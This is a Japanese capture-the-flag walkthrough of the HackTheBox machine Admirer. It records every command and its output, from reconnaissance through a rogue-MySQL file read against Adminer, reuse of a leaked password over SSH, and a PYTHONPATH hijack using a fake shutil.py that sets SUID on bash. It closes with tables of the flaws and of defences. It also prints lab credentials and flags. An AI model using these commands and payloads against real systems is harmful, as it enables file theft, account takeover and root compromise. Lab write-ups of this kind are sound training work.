HackTheBox: Admirer — 全実行コマンド・実行結果レポート
Nmap スキャン
21/22/80開放
→
21/22/80開放
robots.txt → /admin-dir
credentials.txt 平文
→
credentials.txt 平文
FTP → html.tar.gz入手
utility-scripts/adminer.php発見
→
utility-scripts/adminer.php発見
ローグMariaDB立上げ
Adminerをリモート接続
→
Adminerをリモート接続
LOAD DATA LOCAL INFILE
本番index.php読取
→
本番index.php読取
waldo SSH
user.txt ✓
→
user.txt ✓
sudo SETENV admin_tasks.sh
PYTHONPATHハイジャック
→
PYTHONPATHハイジャック
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & バナー確認
BASH
nmap -Pn -T4 -p 21,22,80,443,3306 10.129.229.101 curl -s http://10.129.229.101/ | grep -i "<title"
RESULT
PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 443/tcp closed https 3306/tcp closed mysql <title>Admirer</title>
✅
ターゲット確認: サイトタイトル”Admirer”から HackTheBox
Admirer (Easy Linux) と一致することを確認。MySQL(3306)は
外部に公開されていない(ローカルのみ)点が後のフェーズで重要になる。
PHASE 2
robots.txt の情報漏洩 → FTP → ソースコードバックアップ入手
robots.txt のDisallowパスに直接アクセス
BASH
curl -s http://10.129.229.101/robots.txt curl -s http://10.129.229.101/admin-dir/credentials.txt
RESULT
User-agent: * # This folder contains personal contacts and creds, so no one -not even # robots- should see it - waldo Disallow: /admin-dir [Internal mail account] w.cooper@admirer.htb fgJr6q#S\W:$P [FTP account] ftpuser %n?4Wz}R$tTF7 [Wordpress account] admin w0rdpr3ss01!
🚨
典型的な誤解:
robots.txtのDisallowは
「検索エンジンのクローラーに巡回してほしくない」というお願いに
過ぎず、アクセス制御ではない。waldo自身のコメント通り「誰にも見られたくない」
意図とは裏腹に、むしろ攻撃者に隠し場所を教えてしまっている。
FTPログイン → バックアップファイル回収
BASH
curl -s -u 'ftpuser:%n?4Wz}R$tTF7' "ftp://10.129.229.101/" curl -s -u 'ftpuser:%n?4Wz}R$tTF7' "ftp://10.129.229.101/html.tar.gz" -o html.tar.gz curl -s -u 'ftpuser:%n?4Wz}R$tTF7' "ftp://10.129.229.101/dump.sql" -o dump.sql tar -xzf html.tar.gz
RESULT
-rw-r--r-- 1 0 0 3405 dump.sql
-rw-r--r-- 1 0 0 5270987 html.tar.gz
展開後:
utility-scripts/
adminer.php ← Adminer 4.6.2
db_admin.php ← waldoの"旧"DBパスワード (後で無効と判明)
admin_tasks.php
w4ld0s_s3cr3t_d1r/
credentials.txt, contacts.txt
ℹ️
Webサイトの古いバックアップ一式がFTP経由で丸ごと入手できる。
utility-scripts/adminer.phpの存在に気付けるのがこのフェーズの
最大の収穫で、ここから本番の同じパス
(/utility-scripts/adminer.php)にアクセスできることが分かる。
db_admin.php内のDBパスワードは古いバックアップ時点の値
であり、現在の本番環境では既に変更されている(後述)。
PHASE 3
Adminer 4.6.2 ローグMySQLサーバー攻撃 → LOAD DATA LOCAL INFILE
攻撃原理
NOTE
Adminerはログイン時に接続先DBサーバーのホスト名を自由に指定できる
("サーバーを指定してログイン"機能)。これを悪用し、攻撃者(Kali)自身が
MySQL/MariaDBサーバーを立て、Adminerにそちらへ接続させる。
MySQLプロトコルの LOAD DATA LOCAL INFILE は本来「クライアント側のローカル
ファイルをサーバーに送る」機能だが、ここでは「クライアント」= Adminerが
動いているターゲットWebサーバー自身であるため、Adminerに
"LOAD DATA LOCAL INFILE '/var/www/html/index.php'" を実行させると、
ターゲットのWebサーバーが自分自身のローカルファイルを読み、
攻撃者のDBへ送信してしまうという古典的な任意ファイル読み取り手法が成立する。
ローグMariaDBの準備
BASH
# /etc/mysql/mariadb.conf.d/50-server.cnf の bind-address を 0.0.0.0 に sudo systemctl start mariadb sudo mysql -e " CREATE USER 'kcpwn'@'%' IDENTIFIED BY 'Passw0rd123!'; GRANT ALL PRIVILEGES ON *.* TO 'kcpwn'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES; CREATE DATABASE kcpwn; " sudo ss -tlnp | grep 3306
RESULT
LISTEN 0 80 0.0.0.0:3306 0.0.0.0:* users:(("mariadbd",...))
Adminerにローグサーバーへログインさせる
BASH
curl -s -c cookies.txt -i "http://10.129.229.101/utility-scripts/adminer.php" \ --data-urlencode "auth[driver]=server" \ --data-urlencode "auth[server]=<Kali IP>" \ --data-urlencode "auth[username]=kcpwn" \ --data-urlencode "auth[password]=Passw0rd123!" \ --data-urlencode "auth[db]="
RESULT
HTTP/1.1 302 Found
Set-Cookie: adminer_sid=...
Location: /utility-scripts/adminer.php?server=<Kali IP>&username=kcpwn
⚠️
自動化スクリプトでこのログインを再現する際、HTTPクライアントが
302リダイレクト先まで自動追従する設定になっていると
(例: Pythonの
requestsのデフォルト挙動)、実機では応答が遅く
タイムアウトしやすい。リダイレクト追従を無効化し、302レスポンス自体
(cookieは既にセットされる)だけで次に進むのが安定する。
LOAD DATA LOCAL INFILE 実行 → 本番index.php読み出し
BASH
# SQL実行ページからCSRFトークンを取得 curl -s -b cookies.txt \ "http://10.129.229.101/utility-scripts/adminer.php?server=<Kali IP>&username=kcpwn&db=kcpwn&sql=" # LOAD DATA LOCAL INFILE クエリを送信 (token は上記ページから抽出) curl -s -b cookies.txt \ "http://10.129.229.101/utility-scripts/adminer.php?server=<Kali IP>&username=kcpwn&db=kcpwn&sql=" \ --data-urlencode "token=<token>" \ --data-urlencode "query=CREATE TABLE pwn (data LONGTEXT); LOAD DATA LOCAL INFILE '/var/www/html/index.php' INTO TABLE pwn FIELDS TERMINATED BY '\n';"
RESULT
Query executed OK, 0 rows affected.
Query executed OK, 123 rows affected.
BASH (ローカルDBから読み出し)
sudo mysql -N -B -e "SELECT data FROM kcpwn.pwn;" | grep -i "pass\|waldo"
RESULT
$username = "waldo";
$password = "&<h5b~yK3F#{PaPB&dA}{H>";
✅
更新済みのwaldoの新しいDBパスワードを入手。この値は
db_admin.phpに残っていた古い値(Wh3r3_1s_w4ld0?)とは
異なる — つまり管理者がDBパスワードを変更した後の最新のソースを
読み取れたことを意味する。
PHASE 4
パスワード再利用でSSH → user.txt
waldo SSHログイン & user.txt取得
BASH
sshpass -p '&<h5b~yK3F#{PaPB&dA}{H>' ssh waldo@10.129.229.101 \
"id; cat /home/waldo/user.txt"
RESULT
uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),1001(admins) 079f6d22424a71702b6fbf808ac92224
✅
DB用に発行されたパスワードがそのままOSユーザーwaldoのSSHパスワードとして
再利用されていた(用途別にパスワードを分けていない設定ミス)。
user.txt — waldo (SSH、DBパスワード再利用)
079f6d22424a71702b6fbf808ac92224
PHASE 5
sudo SETENV + PYTHONPATHハイジャック → root.txt
sudo権限の確認
BASH
echo '<waldoのパスワード>' | sudo -S -l
RESULT
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
ℹ️
SETENVオプションにより、waldoはこのスクリプトを呼び出す際に
任意の環境変数を自由に設定できる。これが
PYTHONPATHハイジャックの足がかりになる。
対象スクリプトの脆弱なimport文
BASH
cat /opt/scripts/admin_tasks.sh # option 6 → /opt/scripts/backup.py を実行 cat /opt/scripts/backup.py
RESULT
#!/usr/bin/python3
from shutil import make_archive
src = '/var/www/html/'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)
🚨
from shutil import make_archiveは標準ライブラリ名を
修飾無しでそのままimportしている。Pythonは
sys.path(PYTHONPATH環境変数が優先的に挿入される)を
先頭から検索するため、攻撃者が用意した同名のshutil.pyが
PYTHONPATH上にあれば、標準ライブラリより先にそれが読み込まれる。
偽 shutil.py の配置
BASH
mkdir -p /tmp/kcpwn
cat > /tmp/kcpwn/shutil.py << 'EOF'
import os
def make_archive(*args, **kwargs):
os.system('cp /root/root.txt /tmp/kcpwn_root.txt; chmod 644 /tmp/kcpwn_root.txt')
os.system('chmod u+s /bin/bash')
EOF
ℹ️
本物の
make_archive()と同じ関数名で、全く無関係な処理
(root.txtのコピー、/bin/bashへのSUID付与)を行う偽モジュールを設置する。
PYTHONPATHを指定してsudo実行 → root.txt取得
BASH
echo '<waldoのパスワード>' | sudo -S PYTHONPATH=/tmp/kcpwn /opt/scripts/admin_tasks.sh 6 sleep 3 cat /tmp/kcpwn_root.txt /bin/bash -p -c 'id; cat /root/root.txt' # SUID付与の確認
RESULT
Running backup script in the background, it might take a while... 1dd9aeb4febe35b68fa0665696a04199 -rwsr-xr-x 1 root root 1099016 /bin/bash uid=1000(waldo) ... euid=0(root) ... 1dd9aeb4febe35b68fa0665696a04199
✅
admin_tasks.sh 6がバックグラウンドでbackup.pyを
root権限で起動する際、PYTHONPATH=/tmp/kcpwnの影響で
本物の代わりに偽のshutil.pyがimportされ、make_archive()が
呼ばれた瞬間にroot権限で任意コマンドが実行される。
root.txt — PYTHONPATHハイジャック(shutil.make_archive)経由
1dd9aeb4febe35b68fa0665696a04199
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — waldo (SSH、DBパスワード再利用)
079f6d22424a71702b6fbf808ac92224
root.txt — PYTHONPATHハイジャック
1dd9aeb4febe35b68fa0665696a04199
使用した脆弱性・設定ミス
| 脆弱性/設定ミス | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| robots.txtによる情報漏洩 | /admin-dir/credentials.txt | FTP/メール/WordPress認証情報の漏洩 | Medium | Disallowパスに直接アクセスして平文認証情報を取得 |
| FTPでの古いソースバックアップ公開 | dump.sql / html.tar.gz | 内部ディレクトリ構造・管理ツールの発見 | Medium | バックアップからutility-scripts/adminer.phpの存在を特定 |
| Adminer リモートDB接続 + LOAD DATA LOCAL INFILE | Adminer 4.6.2 | 任意ファイル読み取り(Webサーバーのソース全体) | Critical | ローグMySQLサーバーに接続させ、本番index.phpを読み出して 最新のDBパスワードを窃取 |
| パスワード再利用 | waldo (DB ⇔ OSアカウント) | SSHでの認証突破 | High | DB用パスワードがそのままOSログインパスワードとして機能 |
| sudo SETENV + 非修飾importのライブラリハイジャック | /opt/scripts/admin_tasks.sh (sudoers) | 権限昇格 (root) | Critical | PYTHONPATHを操作し、標準ライブラリshutilを偽モジュールに
置き換えてroot権限でコード実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + curl | 21/22/80開放、サイト確認 |
| 2 | 情報漏洩 | robots.txt → credentials.txt / FTP | FTP資格情報、html.tar.gz/dump.sql |
| 3 | ファイル読取 | Adminer ローグMySQL + LOAD DATA LOCAL INFILE | waldoの最新DBパスワード |
| 4 | 認証突破 | パスワード再利用 + SSH | user.txt |
| 5 | 権限昇格 | sudo SETENV + PYTHONPATHハイジャック | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| robots.txtに機密ディレクトリのパスを記載し、かつそこを認証無しで 公開している | robots.txtはアクセス制御ではないことを周知し、機密ファイルは Webルート外に置くか適切な認証を設定する。 |
| 古いソースコードバックアップ(認証情報入り)がFTPから誰でも ダウンロードできる | バックアップファイルは公開領域から完全に排除し、FTP匿名/ 共有アカウントへのアクセスを制限する。 |
| DBの管理ツール(Adminer)が本番環境に公開され、任意のリモート サーバーへの接続を許可している | Adminerのような強力な管理ツールはIP制限・追加認証を課し、 外部からの到達性を遮断する。可能なら使用後に削除する。 |
| DB用パスワードとOSログインパスワードを同一にしている | 用途ごとに異なる一意のパスワードを発行し、パスワード管理ツールで 一元管理する。 |
| sudoersでSETENVを許可し、環境変数経由のコード実行に脆弱な スクリプトを特権実行している | SETENVの使用は必要最小限にし、特権スクリプトは絶対パスでの importやハードコードされたPYTHONPATHを使うなど、環境変数に 依存しない実装にする。 |

